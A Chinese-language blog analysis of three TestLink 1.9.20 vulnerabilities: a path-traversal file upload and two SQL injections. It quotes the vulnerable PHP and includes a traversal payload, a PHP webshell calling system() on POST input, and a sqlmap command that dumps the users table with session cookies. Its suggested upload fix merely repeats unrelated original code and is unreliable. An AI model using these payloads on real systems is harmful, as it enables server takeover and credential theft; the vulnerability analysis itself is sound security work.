浅析TestLink的三个CVE
前言:由于一开始文章被吞了后半部分,造成了一些误会,现在都补上啦,谢谢王叹之师傅的提醒,hhh
后来才知道是我加了几个表情的锅2333
Testlink是一个开源的、基于Web的测试管理和测试执行系统,由PHP编写。
github网址为:https://github.com/TestLinkOpenSourceTRMS/testlink-code/tree/1.9.20
在最近的一次安全审计中,AppSec团队发现了一个任意文件上传漏洞(CVE-2020-8639)和两个SQL注入漏洞(CVE-2020-8637、CVE-2020-8638)。
CVE:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8637
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8638
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8639
下面我们将对这三个已发现的漏洞及其被利用的方式进行概述。
任意文件上传的分析
Teslink提供了使用关键字对测试用例进行分类的可能性。这些关键字可以导出和导入,在这次操作中,我们发现了第一个漏洞
这个界面允许我们上传一个包含关键字的文件,关于文件类型,我们可以选择XML或CSV格式。现在我们看一下在文件keywordsImport.php中存在的init_args
方法的实现。
function init_args(&$dbHandler)
{
$_REQUEST = strings_stripSlashes($_REQUEST);
$ipcfg = array("UploadFile" => array(tlInputParameter::STRING_N,0,1),
"importType" => array(tlInputParameter::STRING_N,0,100),
"tproject_id" => array(tlInputParameter::INT_N));
$args = new stdClass();
R_PARAMS($ipcfg,$args);
if( $args->tproject_id <= 0 )
{
throw new Exception(" Error Invalid Test Project ID", 1);
}
// Check rights before doing anything else
// Abort if rights are not enough
$user = $_SESSION['currentUser'];
$env['tproject_id'] = $args->tproject_id;
$env['tplan_id'] = 0;
$check = new stdClass();
$check->items = array('mgt_modify_key');
$check->mode = 'and';
checkAccess($dbHandler,$user,$env,$check);
$tproj_mgr = new testproject($dbHandler);
$dm = $tproj_mgr->get_by_id($args->tproject_id,array('output' => 'name'));
$args->tproject_name = $dm['name'];
$args->UploadFile = ($args->UploadFile != "") ? 1 : 0;
$args->fInfo = isset($_FILES['uploadedFile']) ? $_FILES['uploadedFile'] : null;
$args->source = isset($args->fInfo['tmp_name']) ? $args->fInfo['tmp_name'] : null;
$args->dest = TL_TEMP_PATH . session_id() . "-importkeywords." . $args->importType;
return $args;
}
首先,strings_stripSlashes方法过滤了==$_REQUEST==
中所有引用的字符串值。然后用R_PARAMS
方法从REQUEST
中获取ipcfg
中定义的参数并存储在args中。上传的文件被存储在$args->source
中,而$args->importType
的值被串在$args->dest
中。我们可以很容易的将importType
的值改为/./././2333
。换句话说,这个参数是容易被遍历的。
同样的, $args->dest
也是被用在move_uploaded_file
函数处
$args = init_args($db);
$gui = initializeGui($args);
if(!$gui->msg && $args->UploadFile)
{
if(($args->source != 'none') && ($args->source != ''))
{
if (move_uploaded_file($args->source, $args->dest))
任意文件上传的利用
利用这个漏洞的一个方法是在部署Testlink的服务器上上传一个webshell,使其远程执行代码。要做到这一点,我们需要在服务器上找到一个运行Testlink的系统用户有写权限的路径(例如,/logs)。
importType
的值可以是/../../../../../logs/2333.php
,我们需要在PHP中的变量uploadFile
中传递我们的webshell的代码。例如,这可以用下面的方法来实现。
<html>
<body>
<form method="POST">
<input name="command" id="command" />
<input type="submit" value="Send" />
</form>
<pre>
<?php if(isset($_POST['Hack']))
{
system($_POST['Hack']);
} ?>
</pre>
</body>
</html>
随后我们就可以在server上执行命令。
SQL注入分析
Testlink易受SQL注入的影响,在tree.class.php 和testPlanUrgency.class.php中都存在SQL注入的问题。我们来详细的看一下这几个点。
1.dragdroptreenodes.php处
第一个是从dragdroptreenodes.php中开始的,注入是在nodeid
这个变量体现的。
我们来看一下相关的函数和代码块:
function init_args()
{
$args=new stdClass();
$key2loop=array('nodeid','newparentid','doAction','top_or_bottom','nodeorder','nodelist');
foreach($key2loop as $key)
{
$args->$key=isset($_REQUEST[$key]) ? $_REQUEST[$key] : null;
}
return $args;
}
用户输入的nodeid
变量是从$_REQUEST
中获取并存储在$args->nodeid
中,之后,change_parent
方法会被调用:其中关于change_parent
方法的定义在tree.class.php
中。从下面的源码中可以看到,在SQL语句的WHERE
语句中,构造了一条$node_id
的相关链,实现了对SQL语句的控制。
$args=init_args();
$treeMgr = new tree($db);
switch($args->doAction)
{
case 'changeParent':
$treeMgr->change_parent($args->nodeid,$args->newparentid);
break;
function change_parent($node_id, $parent_id)
{
$debugMsg='Class:' .__CLASS__ . ' - Method:' . __FUNCTION__ . ' :: ';
if( is_array($node_id) )
{
$id_list = implode(",",$node_id);
$where_clause = " WHERE id IN ($id_list) ";
}
else
{
$where_clause=" WHERE id = {$node_id}";
}
$sql = "/* $debugMsg */ UPDATE {$this->object_table} " .
" SET parent_id = " . $this->db->prepare_int($parent_id) . " {$where_clause}";
$result = $this->db->exec_query($sql);
return $result ? 1 : 0;
}
2.planUrgency.php开始
第二个SQL注入是在planUrgency.php
中出现的,注入的是未经过过滤的参数 urgency
。
if (isset($_REQUEST['urgency']))
{
$args->urgency_tc = $_REQUEST['urgency'];
}
接收到$_REQUEST
传入的urgency
后,调用setTestUrgency
方法。
public function setTestUrgency($testplan_id, $tc_id, $urgency)
{
$sql = " UPDATE {$this->tables['testplan_tcversions']} SET urgency={$urgency} " .
" WHERE testplan_id=" . $this->db->prepare_int($testplan_id) .
" AND tcversion_id=" . $this->db->prepare_int($tc_id);
$result = $this->db->exec_query($sql);
return $result ? tl::OK : tl::ERROR;
}
最后$urgency会被直接插入到SQL查询语句中,攻击者就可以直接执行控制数据库中的SQL语句从而拿到shell。
SQL注入的利用
回过头看了一下王叹之师傅的链接,发现自己没有总结PostgreSQL的情况,现在放一下这篇文章的内容:
这里是说:可以进行堆叠注入,可以据此进行提权。
而在Mysql中,我们并不能改变数据库里的值,不过我们可以用sqlmap来简单的dump一下。
python sqlmap.py -u <URL_TESTLINK>/lib/ajax/dragdroptreenodes.php
--data="doAction=changeParent&oldparentid=41&newparentid=41&nodelist=47%2C45&nodeorder=0&nodeid=47"
-p nodeid
--cookie="PHPSESSID=<PHP_SESSION_ID>; TESTLINK1920TESTLINK_USER_AUTH_COOKIE=<USER_AUTH_COOKIE>"
--dump -D testlink -T users
我们可以看到,Testlink使用bcrypt(不可逆,把明文和存储的密文一块运算得到另一个密文,如果这两个密文相同则验证成功)来存储用户的密码,所以这些信息没啥用了。但是,apiKey和cookie都是以文本的形式传递,所以我们可以来伪造admin的身份进行请求。
修复:
对于文件上传漏洞,可以借助以下代码来检查
$tproj_mgr = new testproject($dbHandler);
$dm = $tproj_mgr->get_by_id($args->tproject_id,array('output' => 'name'));
$args->tproject_name = $dm['name'];
而对于SQL注入:就是借助了常规的过滤来避免,在这里不再多说。
Reference:
https://github.com/TestLinkOpenSourceTRMS/testlink-code github源码
https://ackcent.com/blog/testlink-1.9.20-unrestricted-file-upload-and-sql-injection/ 的确和这个有点像,大家可以移步去看一下。